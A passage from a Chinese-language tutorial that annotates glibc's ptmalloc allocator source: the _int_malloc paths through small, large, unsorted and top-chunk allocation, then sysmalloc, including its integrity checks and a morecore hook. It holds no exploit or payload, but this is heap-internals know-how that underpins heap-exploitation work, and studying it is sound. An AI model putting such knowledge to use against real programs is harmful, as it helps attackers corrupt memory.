check_remalloced_chunk(av, victim, nb); // 将获取的到chunk转换为mem模式 void *p = chunk2mem(victim); // 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff alloc_perturb(p, bytes); return p; } } ``` ### small bin 如果获取的内存块的范围处于 small bin 的范围,那么执行如下流程 ```c++ /* If a small request, check regular bin. Since these "smallbins" hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */ if (in_smallbin_range(nb)) { // 获取 small bin 的索引 idx = smallbin_index(nb); // 获取对应 small bin 中的 chunk 指针 bin = bin_at(av, idx); // 先执行 victim = last(bin),获取 small bin 的最后一个 chunk // 如果 victim = bin ,那说明该 bin 为空。 // 如果不相等,那么会有两种情况 if ((victim = last(bin)) != bin) { // 第一种情况,small bin 还没有初始化。 if (victim == 0) /* initialization check */ // 执行初始化,将 fast bins 中的 chunk 进行合并 malloc_consolidate(av); // 第二种情况,small bin 中存在空闲的 chunk else { // 获取 small bin 中倒数第二个 chunk 。 bck = victim->bk; // 检查 bck->fd 是不是 victim,防止伪造 if (__glibc_unlikely(bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } // 设置 victim 对应的 inuse 位 set_inuse_bit_at_offset(victim, nb); // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来 bin->bk = bck; bck->fd = bin; // 如果不是 main_arena,设置对应的标志 if (av != &main_arena) set_non_main_arena(victim); // 细致的检查,非调试状态没有作用 check_malloced_chunk(av, victim, nb); // 将申请到的 chunk 转化为对应的 mem 状态 void *p = chunk2mem(victim); // 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff alloc_perturb(p, bytes); return p; } } } ``` ### large bin 当 fast bin、small bin 中的 chunk 都不能满足用户请求 chunk 大小时,就会考虑是不是 large bin。但是,其实在 large bin 中并没有直接去扫描对应 bin 中的chunk,而是先利用 malloc_consolidate(参见malloc_state相关函数) 函数处理 fast bin 中的chunk,将有可能能够合并的 chunk 先进行合并后放到 unsorted bin 中,不能够合并的就直接放到 unsorted bin 中,然后再在下面的大循环中进行相应的处理。**为什么不直接从相应的 bin 中取出 large chunk 呢?这是ptmalloc 的机制,它会在分配 large chunk 之前对堆中碎片 chunk 进行合并,以便减少堆中的碎片。** ```c++ /* If this is a large request, consolidate fastbins before continuing. While it might look excessive to kill all fastbins before even seeing if there is space available, this avoids fragmentation problems normally associated with fastbins. Also, in practice, programs tend to have runs of either small or large requests, but less often mixtures, so consolidation is not invoked all that often in most programs. And the programs that it is called frequently in otherwise tend to fragment. */ else { // 获取large bin的下标。 idx = largebin_index(nb); // 如果存在fastbin的话,会处理 fastbin if (have_fastchunks(av)) malloc_consolidate(av); } ``` ### 大循环-遍历 unsorted bin **如果程序执行到了这里,那么说明 与 chunk 大小正好一致的 bin (fast bin, small bin) 中没有 chunk可以直接满足需求 ,但是 large chunk 则是在这个大循环中处理**。 在接下来的这个循环中,主要做了以下的操作 - 按照 FIFO 的方式逐个将 unsorted bin 中的 chunk 取出来 - 如果是 small request,则考虑是不是恰好满足,是的话,直接返回。 - 如果不是的话,放到对应的 bin 中。 - 尝试从 large bin 中分配用户所需的内存 该部分是一个大循环,这是为了尝试重新分配 small bin chunk,这是因为我们虽然会首先使用 large bin,top chunk 来尝试满足用户的请求,但是如果没有满足的话,由于我们在上面没有分配成功 small bin,我们并没有对fast bin 中的 chunk 进行合并,所以这里会进行 fast bin chunk 的合并,进而使用一个大循环来尝试再次分配small bin chunk。 ```c++ /* Process recently freed or remaindered chunks, taking one only if it is exact fit, or, if this a small request, the chunk is remainder from the most recent non-exact fit. Place other traversed chunks in bins. Note that this step is the only place in any routine where chunks are placed in bins. The outer loop here is needed because we might not realize until near the end of malloc that we should have consolidated, so must do so and retry. This happens at most once, and only when we would otherwise need to expand memory to service a "small" request. */ for (;;) { int iters = 0; ``` #### unsorted bin 遍历 先考虑 unsorted bin,再考虑 last remainder ,但是对于 small bin chunk 的请求会有所例外。 **注意 unsorted bin 的遍历顺序为 bk。** ```c++ // 如果 unsorted bin 不为空 // First In First Out while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) { // victim 为 unsorted bin 的最后一个 chunk // bck 为 unsorted bin 的倒数第二个 chunk bck = victim->bk; // 判断得到的 chunk 是否满足要求,不能过小,也不能过大 // 一般 system_mem 的大小为132K if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) || __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0)) malloc_printerr(check_action, "malloc(): memory corruption", chunk2mem(victim), av); // 得到victim对应的chunk大小。 size = chunksize(victim); ``` ##### small request 如果用户的请求为 small bin chunk,那么我们首先考虑 last remainder,如果 last remainder 是 unsorted bin 中的唯一一块的话, 并且 last remainder 的大小分割后还可以作为一个 chunk ,**为什么没有等号**? ```c /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ if (in_smallbin_range(nb) && bck == unsorted_chunks(av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) { /* split and reattach remainder */ // 获取新的 remainder 的大小 remainder_size = size - nb; // 获取新的 remainder 的位置 remainder = chunk_at_offset(victim, nb); // 更新 unsorted bin 的情况 unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder; // 更新 av 中记录的 last_remainder av->last_remainder = remainder; // 更新last remainder的指针 remainder->bk = remainder->fd = unsorted_chunks(av); if (!in_smallbin_range(remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } // 设置victim的头部, set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); // 设置 remainder 的头部 set_head(remainder, remainder_size | PREV_INUSE); // 设置记录 remainder 大小的 prev_size 字段,因为此时 remainder 处于空闲状态。 set_foot(remainder, remainder_size); // 细致的检查,非调试状态下没有作用 check_malloced_chunk(av, victim, nb); // 将 victim 从 chunk 模式转化为mem模式 void *p = chunk2mem(victim); // 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff alloc_perturb(p, bytes); return p; } ``` ##### 初始取出 ```c /* remove from unsorted list */ unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av); ``` ##### exact fit 如果从 unsorted bin 中取出来的 chunk 大小正好合适,就直接使用。这里应该已经把合并后恰好合适的 chunk 给分配出去了。 ```c /* Take now instead of binning if exact fit */ if (size == nb) { set_inuse_bit_at_offset(victim, size); if (av != &main_arena) set_non_main_arena(victim); check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; } ``` ##### place chunk in small bin 把取出来的 chunk 放到对应的 small bin 中。 ```c /* place chunk in bin */ if (in_smallbin_range(size)) { victim_index = smallbin_index(size); bck = bin_at(av, victim_index); fwd = bck->fd; ``` ##### place chunk in large bin 把取出来的 chunk 放到对应的 large bin 中。 ```c } else { // large bin 范围 victim_index = largebin_index(size); bck = bin_at(av, victim_index); // 当前 large bin 的头部 fwd = bck->fd; /* maintain large bins in sorted order */ /* 从这里我们可以总结出,largebin 以 fd_nextsize 递减排序。 同样大小的 chunk,后来的只会插入到之前同样大小的 chunk 后, 而不会修改之前相同大小的fd/bk_nextsize,这也很容易理解, 可以减低开销。此外,bin 头不参与 nextsize 链接。*/ // 如果 large bin 链表不空 if (fwd != bck) { /* Or with inuse bit to speed comparisons */ // 加速比较,应该不仅仅有这个考虑,因为链表里的 chunk 都会设置该位。 size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ // bck->bk 存储着相应 large bin 中最小的chunk。 // 如果遍历的 chunk 比当前最小的还要小,那就只需要插入到链表尾部。 // 判断 bck->bk 是不是在 main arena。 assert(chunk_main_arena(bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask(bck->bk)) { // 令 fwd 指向 large bin 头 fwd = bck; // 令 bck 指向 largin bin 尾部 chunk bck = bck->bk; // victim 的 fd_nextsize 指向 largin bin 的第一个 chunk victim->fd_nextsize = fwd->fd; // victim 的 bk_nextsize 指向原来链表的第一个 chunk 指向的 bk_nextsize victim->bk_nextsize = fwd->fd->bk_nextsize; // 原来链表的第一个 chunk 的 bk_nextsize 指向 victim // 原来指向链表第一个 chunk 的 fd_nextsize 指向 victim fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { // 当前要插入的 victim 的大小大于最小的 chunk // 判断 fwd 是否在 main arena assert(chunk_main_arena(fwd)); // 从链表头部开始找到不比 victim 大的 chunk while ((unsigned long) size < chunksize_nomask(fwd)) { fwd = fwd->fd_nextsize; assert(chunk_main_arena(fwd)); } // 如果找到了一个和 victim 一样大的 chunk, // 那就直接将 chunk 插入到该chunk的后面,并不修改 nextsize 指针。 if ((unsigned long) size == (unsigned long) chunksize_nomask(fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else { // 如果找到的chunk和当前victim大小不一样 // 那么就需要构造 nextsize 双向链表了 victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else // 如果空的话,直接简单使得 fd_nextsize 与 bk_nextsize 构成一个双向链表即可。 victim->fd_nextsize = victim->bk_nextsize = victim; } ``` ##### 最终取出 ```c // 放到对应的 bin 中,构成 bck<-->victim<-->fwd。 mark_bin(av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; ``` ##### while 迭代次数 while 最多迭代10000次后退出。 ```c // #define MAX_ITERS 10000 if (++iters >= MAX_ITERS) break; } ``` #### large chunk **注: 或许会很奇怪,为什么这里没有先去看 small chunk 是否满足新需求了呢?这是因为small bin 在循环之前已经判断过了,这里如果有的话,就是合并后的才出现chunk。但是在大循环外,large chunk 只是单纯地找到其索引,所以觉得在这里直接先判断是合理的,而且也为了下面可以再去找较大的chunk。** 如果请求的 chunk 在 large chunk 范围内,就在对应的 bin 中从小到大进行扫描,找到第一个合适的。 ```c++ /* If a large request, scan through the chunks of current bin in sorted order to find smallest that fits. Use the skip list for this. */ if (!in_smallbin_range(nb)) { bin = bin_at(av, idx); /* skip scan if empty or largest chunk is too small */ // 如果对应的 bin 为空或者其中的chunk最大的也很小,那就跳过 // first(bin)=bin->fd 表示当前链表中最大的chunk if ((victim = first(bin)) != bin && (unsigned long) chunksize_nomask(victim) >= (unsigned long) (nb)) { // 反向遍历链表,直到找到第一个不小于所需chunk大小的chunk victim = victim->bk_nextsize; while (((unsigned long) (size = chunksize(victim)) < (unsigned long) (nb))) victim = victim->bk_nextsize; /* Avoid removing the first entry for a size so that the skip list does not have to be rerouted. */ // 如果最终取到的chunk不是该bin中的最后一个chunk,并且该chunk与其前面的chunk // 的大小相同,那么我们就取其前面的chunk,这样可以避免调整bk_nextsize,fd_nextsize // 链表。因为大小相同的chunk只有一个会被串在nextsize链上。 if (victim != last(bin) && chunksize_nomask(victim) == chunksize_nomask(victim->fd)) victim = victim->fd; // 计算分配后剩余的大小 remainder_size = size - nb; // 进行unlink unlink(av, victim, bck, fwd); /* Exhaust */ // 剩下的大小不足以当做一个块 // 很好奇接下来会怎么办? if (remainder_size < MINSIZE) { set_inuse_bit_at_offset(victim, size); if (av != &main_arena) set_non_main_arena(victim); } /* Split */ // 剩下的大小还可以作为一个chunk,进行分割。 else { // 获取剩下那部分chunk的指针,称为remainder remainder = chunk_at_offset(victim, nb); /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ // 插入unsorted bin中 bck = unsorted_chunks(av); fwd = bck->fd; // 判断 unsorted bin 是否被破坏。 if (__glibc_unlikely(fwd->bk != bck)) { errstr = "malloc(): corrupted unsorted chunks"; goto errout; } remainder->bk = bck; remainder->fd = fwd; bck->fd = remainder; fwd->bk = remainder; // 如果不处于small bin范围内,就设置对应的字段 if (!in_smallbin_range(remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } // 设置分配的chunk的标记 set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); // 设置remainder的上一个chunk,即分配出去的chunk的使用状态 // 其余的不用管,直接从上面继承下来了 set_head(remainder, remainder_size | PREV_INUSE); // 设置remainder的大小 set_foot(remainder, remainder_size); } // 检查 check_malloced_chunk(av, victim, nb); // 转换为mem状态 void *p = chunk2mem(victim); // 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff alloc_perturb(p, bytes); return p; } } ``` #### 寻找较大 chunk 如果走到了这里,那说明对于用户所需的chunk,不能直接从其对应的合适的bin中获取chunk,所以我们需要来查找比当前 bin 更大的 fast bin , small bin 或者 large bin。 ```c++ /* Search for a chunk by scanning bins, starting with next largest bin. This search is strictly by best-fit; i.e., the smallest (with ties going to approximately the least recently used) chunk that fits is selected. The bitmap avoids needing to check that most blocks are nonempty. The particular case of skipping all bins during warm-up phases when no chunks have been returned yet is faster than it might look. */ ++idx; // 获取对应的bin bin = bin_at(av, idx); // 获取当前索引在binmap中的block索引 // #define idx2block(i) ((i) >> BINMAPSHIFT) ,BINMAPSHIFT=5 // Binmap按block管理,每个block为一个int,共32个bit,可以表示32个bin中是否有空闲chunk存在 // 所以这里是右移5 block = idx2block(idx); // 获取当前块大小对应的映射,这里可以得知相应的bin中是否有空闲块 map = av->binmap[ block ]; // #define idx2bit(i) ((1U << ((i) & ((1U << BINMAPSHIFT) - 1)))) // 将idx对应的比特位设置为1,其它位为0 bit = idx2bit(idx); for (;;) { ``` ##### 找到一个合适的 map ```c++ /* Skip rest of block if there are no more set bits in this block. */ // 如果bit>map,则表示该 map 中没有比当前所需要chunk大的空闲块 // 如果bit为0,那么说明,上面idx2bit带入的参数为0。 if (bit > map || bit == 0) { do { // 寻找下一个block,直到其对应的map不为0。 // 如果已经不存在的话,那就只能使用top chunk了 if (++block >= BINMAPSIZE) /* out of bins */ goto use_top; } while ((map = av->binmap[ block ]) == 0); // 获取其对应的bin,因为该map中的chunk大小都比所需的chunk大,而且 // map本身不为0,所以必然存在满足需求的chunk。 bin = bin_at(av, (block << BINMAPSHIFT)); bit = 1; } ``` ##### 找到合适的 bin ```c /* Advance to bin with set bit. There must be one. */ // 从当前map的最小的bin一直找,直到找到合适的bin。 // 这里是一定存在的 while ((bit & map) == 0) { bin = next_bin(bin); bit <<= 1; assert(bit != 0); } ``` ##### 简单检查 chunk ```c /* Inspect the bin. It is likely to be non-empty */ // 获取对应的bin victim = last(bin); /* If a false alarm (empty bin), clear the bit. */ // 如果victim=bin,那么我们就将map对应的位清0,然后获取下一个bin // 这种情况发生的概率应该很小。 if (victim == bin) { av->binmap[ block ] = map &= ~bit; /* Write through */ bin = next_bin(bin); bit <<= 1; } ``` ##### 真正取出 chunk ```c else { // 获取对应victim的大小 size = chunksize(victim); /* We know the first chunk in this bin is big enough to use. */ assert((unsigned long) (size) >= (unsigned long) (nb)); // 计算分割后剩余的大小 remainder_size = size - nb; /* unlink */ unlink(av, victim, bck, fwd); /* Exhaust */ // 如果分割后不够一个chunk怎么办? if (remainder_size < MINSIZE) { set_inuse_bit_at_offset(victim, size); if (av != &main_arena) set_non_main_arena(victim); } /* Split */ // 如果够,尽管分割 else { // 计算剩余的chunk的偏移 remainder = chunk_at_offset(victim, nb); /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ // 将剩余的chunk插入到unsorted bin中 bck = unsorted_chunks(av); fwd = bck->fd; if (__glibc_unlikely(fwd->bk != bck)) { errstr = "malloc(): corrupted unsorted chunks 2"; goto errout; } remainder->bk = bck; remainder->fd = fwd; bck->fd = remainder; fwd->bk = remainder; /* advertise as last remainder */ // 如果在small bin范围内,就将其标记为remainder if (in_smallbin_range(nb)) av->last_remainder = remainder; if (!in_smallbin_range(remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } // 设置victim的使用状态 set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); // 设置remainder的使用状态,这里是为什么呢? set_head(remainder, remainder_size | PREV_INUSE); // 设置remainder的大小 set_foot(remainder, remainder_size); } // 检查 check_malloced_chunk(av, victim, nb); // chunk状态转换到mem状态 void *p = chunk2mem(victim); // 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff alloc_perturb(p, bytes); return p; } ``` ### 使用 top chunk 如果所有的 bin 中的 chunk 都没有办法直接满足要求(即不合并),或者说都没有空闲的 chunk。那么我们就只能使用 top chunk 了。 ```c++ use_top: /* If large enough, split off the chunk bordering the end of memory (held in av->top). Note that this is in accord with the best-fit search rule. In effect, av->top is treated as larger (and thus less well fitting) than any other available chunk since it can be extended to be as large as necessary (up to system limitations). We require that av->top always exists (i.e., has size >= MINSIZE) after initialization, so if it would otherwise be exhausted by current request, it is replenished. (The main reason for ensuring it exists is that we may need MINSIZE space to put in fenceposts in sysmalloc.) */ // 获取当前的top chunk,并计算其对应的大小 victim = av->top; size = chunksize(victim); // 如果分割之后,top chunk 大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av->top = remainder; // 这里设置 PREV_INUSE 是因为 top chunk 前面的 chunk 如果不是 fastbin,就必然会和 // top chunk 合并,所以这里设置了 PREV_INUSE。 set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE); check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; } // 否则,判断是否有 fast chunk /* When we are using atomic ops to free fast chunks we can get here for all block sizes. */ else if (have_fastchunks(av)) { // 先执行一次fast bin的合并 malloc_consolidate(av); /* restore original bin index */ // 判断需要的chunk是在small bin范围内还是large bin范围内 // 并计算对应的索引 // 等待下次再看看是否可以 if (in_smallbin_range(nb)) idx = smallbin_index(nb); else idx = largebin_index(nb); } ``` ### 堆内存不够 如果堆内存不够,我们就需要使用 `sysmalloc` 来申请内存了。 ```c /* Otherwise, relay to handle system-dependent cases */ // 否则的话,我们就只能从系统中再次申请一点内存了。 else { void *p = sysmalloc(nb, av); if (p != NULL) alloc_perturb(p, bytes); return p; } ``` ## _libc_calloc calloc 也是 libc 中的一种申请内存块的函数。在 `libc`中的封装为 `_libc_calloc`,具体介绍如下 ```c /* calloc(size_t n_elements, size_t element_size); Returns a pointer to n_elements * element_size bytes, with all locations set to zero. */ void* __libc_calloc(size_t, size_t); ``` ## sysmalloc 正如该函数头的注释所言,该函数用于当前堆内存不足时,需要向系统申请更多的内存。 ```c /* sysmalloc handles malloc cases requiring more memory from the system. On entry, it is assumed that av->top does not have enough space to service request for nb bytes, thus requiring that av->top be extended or replaced. */ ``` ### 基本定义 ```c static void *sysmalloc(INTERNAL_SIZE_T nb, mstate av) { mchunkptr old_top; /* incoming value of av->top */ INTERNAL_SIZE_T old_size; /* its size */ char *old_end; /* its end address */ long size; /* arg to first MORECORE or mmap call */ char *brk; /* return value from MORECORE */ long correction; /* arg to 2nd MORECORE call */ char *snd_brk; /* 2nd return val */ INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ char *aligned_brk; /* aligned offset into brk */ mchunkptr p; /* the allocated/returned chunk */ mchunkptr remainder; /* remainder frOm allocation */ unsigned long remainder_size; /* its size */ size_t pagesize = GLRO(dl_pagesize); bool tried_mmap = false; ``` 我们可以主要关注一下 `pagesize`,其 ```c #ifndef EXEC_PAGESIZE #define EXEC_PAGESIZE 4096 #endif # define GLRO(name) _##name size_t _dl_pagesize = EXEC_PAGESIZE; ``` 所以,`pagesize=4096=0x1000`。 ### 考虑 mmap 正如开头注释所言如果满足如下任何一种条件 1. 没有分配堆。 2. 申请的内存大于 `mp_.mmap_threshold`,并且mmap 的数量小于最大值,就可以尝试使用 mmap。 默认情况下,临界值为 ```c static struct malloc_par mp_ = { .top_pad = DEFAULT_TOP_PAD, .n_mmaps_max = DEFAULT_MMAP_MAX, .mmap_threshold = DEFAULT_MMAP_THRESHOLD, .trim_threshold = DEFAULT_TRIM_THRESHOLD, #define NARENAS_FROM_NCORES(n) ((n) * (sizeof(long) == 4 ? 2 : 8)) .arena_test = NARENAS_FROM_NCORES(1) #if USE_TCACHE , .tcache_count = TCACHE_FILL_COUNT, .tcache_bins = TCACHE_MAX_BINS, .tcache_max_bytes = tidx2usize(TCACHE_MAX_BINS - 1), .tcache_unsorted_limit = 0 /* No limit. */ #endif }; ``` `DEFAULT_MMAP_THRESHOLD` 为 128*1024 字节,即 128 K。 ```c #ifndef DEFAULT_MMAP_THRESHOLD #define DEFAULT_MMAP_THRESHOLD DEFAULT_MMAP_THRESHOLD_MIN #endif /* MMAP_THRESHOLD_MAX and _MIN are the bounds on the dynamically adjusted MMAP_THRESHOLD. */ #ifndef DEFAULT_MMAP_THRESHOLD_MIN #define DEFAULT_MMAP_THRESHOLD_MIN (128 * 1024) #endif #ifndef DEFAULT_MMAP_THRESHOLD_MAX /* For 32-bit platforms we cannot increase the maximum mmap threshold much because it is also the minimum value for the maximum heap size and its alignment. Going above 512k (i.e., 1M for new heaps) wastes too much address space. */ #if __WORDSIZE == 32 #define DEFAULT_MMAP_THRESHOLD_MAX (512 * 1024) #else #define DEFAULT_MMAP_THRESHOLD_MAX (4 * 1024 * 1024 * sizeof(long)) #endif #endif ``` 下面为这部分代码,目前不是我们关心的重点,可以暂时跳过。 ```c /* If have mmap, and the request size meets the mmap threshold, and the system supports mmap, and there are few enough currently allocated mmapped regions, try to directly map this request rather than expanding top. */ if (av == NULL || ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))) { char *mm; /* return value from mmap call*/ try_mmap: /* Round up size to nearest page. For mmapped chunks, the overhead is one SIZE_SZ unit larger than for normal chunks, because there is no following chunk whose prev_size field could be used. See the front_misalign handling below, for glibc there is no need for further alignments unless we have have high alignment. */ if (MALLOC_ALIGNMENT == 2 * SIZE_SZ) size = ALIGN_UP(nb + SIZE_SZ, pagesize); else size = ALIGN_UP(nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); tried_mmap = true; /* Don't try if size wraps around 0 */ if ((unsigned long)(size) > (unsigned long)(nb)) { mm = (char *)(MMAP(0, size, PROT_READ | PROT_WRITE, 0)); if (mm != MAP_FAILED) { /* The offset to the start of the mmapped region is stored in the prev_size field of the chunk. This allows us to adjust returned start address to meet alignment requirements here and in memalign(), and still be able to compute proper address argument for later munmap in free() and realloc(). */ if (MALLOC_ALIGNMENT == 2 * SIZE_SZ) { /* For glibc, chunk2mem increases the address by 2*SIZE_SZ and MALLOC_ALIGN_MASK is 2*SIZE_SZ-1. Each mmap'ed area is page aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ assert(((INTERNAL_SIZE_T)chunk2mem(mm) & MALLOC_ALIGN_MASK) == 0); front_misalign = 0; } else front_misalign = (INTERNAL_SIZE_T)chunk2mem(mm) & MALLOC_ALIGN_MASK; if (front_misalign > 0) { correction = MALLOC_ALIGNMENT - front_misalign; p = (mchunkptr)(mm + correction); set_prev_size(p, correction); set_head(p, (size - correction) | IS_MMAPPED); } else { p = (mchunkptr)mm; set_prev_size(p, 0); set_head(p, size | IS_MMAPPED); } /* update statistics */ int new = atomic_exchange_and_add(&mp_.n_mmaps, 1) + 1; atomic_max(&mp_.max_n_mmaps, new); unsigned long sum; sum = atomic_exchange_and_add(&mp_.mmapped_mem, size) + size; atomic_max(&mp_.max_mmapped_mem, sum); check_chunk(av, p); return chunk2mem(p); } } } ``` ### mmap 失败或者未分配堆 ```c /* There are no usable arenas and mmap also failed. */ if (av == NULL) return 0; ``` 如果是这两种情况中的任何一种,其实就可以退出了。。 ### 记录旧堆信息 ```c /* Record incoming configuration of top */ old_top = av->top; old_size = chunksize(old_top); old_end = (char *)(chunk_at_offset(old_top, old_size)); brk = snd_brk = (char *)(MORECORE_FAILURE); ``` ### 检查旧堆信息1 ```c /* If not the first time through, we require old_size to be at least MINSIZE and to have prev_inuse set. */ assert((old_top == initial_top(av) && old_size == 0) || ((unsigned long)(old_size) >= MINSIZE && prev_inuse(old_top) && ((unsigned long)old_end & (pagesize - 1)) == 0)); ``` 这个检查要求满足其中任何一个条件 1. `old_top == initial_top(av) && old_size == 0`,即如果是第一次的话,堆的大小需要是 0。 2. 新的堆,那么 1. `(unsigned long)(old_size) >= MINSIZE && prev_inuse(old_top)`,堆的大小应该不小于 `MINSIZE`,并且前一个堆块应该处于使用中。 2. `((unsigned long)old_end & (pagesize - 1)) == 0)`,堆的结束地址应该是页对齐的,由于页对齐的大小默认是0x1000,所以低 12 个比特需要为 0。 ### 检查旧堆信息2 ```c /* Precondition: not enough current space to satisfy nb request */ assert((unsigned long)(old_size) < (unsigned long)(nb + MINSIZE)); ``` 根据 malloc 中的定义 ```c static void *_int_malloc(mstate av, size_t bytes) { INTERNAL_SIZE_T nb; /* normalized request size */ ``` `nb` 应该是已经加上 chunk 头部的字节,为什么还要加上 `MINSIZE `呢?这是因为 top chunk 的大小应该至少预留 MINSIZE 空间,以便于合并。 ### 非 main_arena 这里暂时不是关心的重点,暂且不分析。 ```c if (av != &main_arena) { heap_info *old_heap, *heap; size_t old_heap_size; /* First try to extend the current heap. */ old_heap = heap_for_ptr(old_top); old_heap_size = old_heap->size; if ((long)(MINSIZE + nb - old_size) > 0 && grow_heap(old_heap, MINSIZE + nb - old_size) == 0) { av->system_mem += old_heap->size - old_heap_size; set_head(old_top, (((char *)old_heap + old_heap->size) - (char *)old_top) | PREV_INUSE); } else if ((heap = new_heap(nb + (MINSIZE + sizeof(*heap)), mp_.top_pad))) { /* Use a newly allocated heap. */ heap->ar_ptr = av; heap->prev = old_heap; av->system_mem += heap->size; /* Set up the new top. */ top(av) = chunk_at_offset(heap, sizeof(*heap)); set_head(top(av), (heap->size - sizeof(*heap)) | PREV_INUSE); /* Setup fencepost and free the old top chunk with a multiple of MALLOC_ALIGNMENT in size. */ /* The fencepost takes at least MINSIZE bytes, because it might become the top chunk again later. Note that a footer is set up, too, although the chunk is marked in use. */ old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; set_head(chunk_at_offset(old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE); if (old_size >= MINSIZE) { set_head(chunk_at_offset(old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE); set_foot(chunk_at_offset(old_top, old_size), (2 * SIZE_SZ)); set_head(old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); _int_free(av, old_top, 1); } else { set_head(old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE); set_foot(old_top, (old_size + 2 * SIZE_SZ)); } } else if (!tried_mmap) /* We can at least try to use to mmap memory. */ goto try_mmap; } ``` ### Main_arena 处理 #### 计算内存 计算可以满足请求的内存大小。 ```c else { /* av == main_arena */ /* Request enough space for nb + pad + overhead */ size = nb + mp_.top_pad + MINSIZE; ``` 默认情况下 `top_pad`定义为 ```c #ifndef DEFAULT_TOP_PAD # define DEFAULT_TOP_PAD 131072 #endif ``` 即 131072 字节,0x20000 字节。 #### 是否连续 如果我们希望堆的空间连续的话,那么其实可以复用之前的内存。 ```c /* If contiguous, we can subtract out existing space that we hope to combine with new space. We add it back later only if we don't actually get contiguous space. */ if (contiguous(av)) size -= old_size; ``` #### 对齐页大小 ```c /* Round to a multiple of page size. If MORECORE is not contiguous, this ensures that we only call it with whole-page arguments. And if MORECORE is contiguous and this is not first time through, this preserves page-alignment of previous calls. Otherwise, we correct to page-align below. */ size = ALIGN_UP(size, pagesize); ``` #### 申请内存 ```c /* Don't try to call MORECORE if argument is so big as to appear negative. Note that since mmap takes size_t arg, it may succeed below even if we cannot call MORECORE. */ if (size > 0) { brk = (char *)(MORECORE(size)); LIBC_PROBE(memory_sbrk_more, 2, brk, size); } ``` ##### 可能成功 ```c if (brk != (char *)(MORECORE_FAILURE)) { /* Call the `morecore' hook if necessary. */ void (*hook)(void) = atomic_forced_read(__after_morecore_hook); if (__builtin_expect(hook != NULL, 0)) (*hook)(); } ``` 这里竟然调用了一个 hook,有点意思。 ##### 失败 失败,考虑 mmap。 ```c else { /* If have mmap, try using it as a backup when MORECORE fails or cannot be used. This is worth doing on systems that have "holes" in address space, so sbrk cannot extend to give contiguous space, but space is available elsewhere. Note that we ignore mmap max count and threshold limits, since the space will not be used as a segregated mmap region. */ /* Cannot merge with old top, so add its size back in */ if (contiguous(av)) size = ALIGN_UP(size + old_size, pagesize); /* If we are relying on mmap as backup, then use larger units */ if ((unsigned long)(size) < (unsigned long)(MMAP_AS_MORECORE_SIZE)) size = MMAP_AS_MORECORE_SIZE; /* Don't try if size wraps around 0 */ if ((unsigned long)(size) > (unsigned long)(nb)) { char *mbrk = (char *)(MMAP(0, size, PROT_READ | PROT_WRITE, 0)); if (mbrk != MAP_FAILED) { /* We do not need, and cannot use, another sbrk call to find end */ brk = mbrk; snd_brk = brk + size; /* Record that we no longer have a contiguous sbrk region. After the first time mmap is used as backup, we do not ever rely on contiguous space since this could incorrectly bridge regions. */ set_noncontiguous(av); } } } ``` #### 内存可能申请成功 ```c if (brk != (char *)(MORECORE_FAILURE)) { if (mp_.sbrk_base == 0) mp_.sbrk_base = brk; av->system_mem += size; ``` ##### 情况 1 ```c /* If MORECORE extends previous space, we can likewise extend top size. */ if (brk == old_end && snd_brk == (char *)(MORECORE_FAILURE)) set_head(old_top, (size + old_size) | PREV_INUSE); ``` ##### 情况 2 - 意外内存耗尽 